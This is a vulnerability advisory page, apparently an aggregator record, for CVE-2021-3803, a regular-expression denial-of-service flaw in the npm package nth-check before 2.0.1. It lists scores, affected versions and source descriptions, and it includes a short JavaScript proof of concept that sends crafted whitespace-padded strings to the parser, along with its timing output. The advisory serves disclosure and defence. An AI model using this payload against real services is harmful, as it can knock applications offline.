CVE-2021-3803
JSON

7.5high

Inefficient Regular Expression Complexity in fb55/nth-check

Severity
7.5high CVSS:3.0 by @huntrdev
Exploit likelihood
2.21% (higher than 83% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
@huntrdev
Also known as
GHSA-rp65-9cf3-cjxr

Description

nth-check is vulnerable to Inefficient Regular Expression Complexity

Affected

Product or packageVersionsReported by
fb55 fb55/nth-checkfrom unspecified before 2.0.1CVE List
nth-check (npm)before 2.0.1GitHub Advisory Database
nth-check_project nth-checkbefore 2.0.1NVD
debian debian_linux10.0NVD

All scores

@huntrdev7.5high CVSS:3.0CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD5.0medium CVSS:2.0AV:N/AC:L/Au:N/C:N/I:N/A:P

Classification

What each source says

CVE List

nth-check is vulnerable to Inefficient Regular Expression Complexity

GitHub Advisory Database

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
NVD (es)

nth-check es vulnerable a una Complejidad de Expresiones Regulares Ineficientes

References

Sources

SourceRecordLicence
CVE ListCVE-2021-3803 changed 2024-08-03CVE Terms of Use
GitHub Advisory DatabaseGHSA-rp65-9cf3-cjxr changed 2026-09-10CC-BY-4.0
NVDCVE-2021-3803 changed 2026-06-17Public domain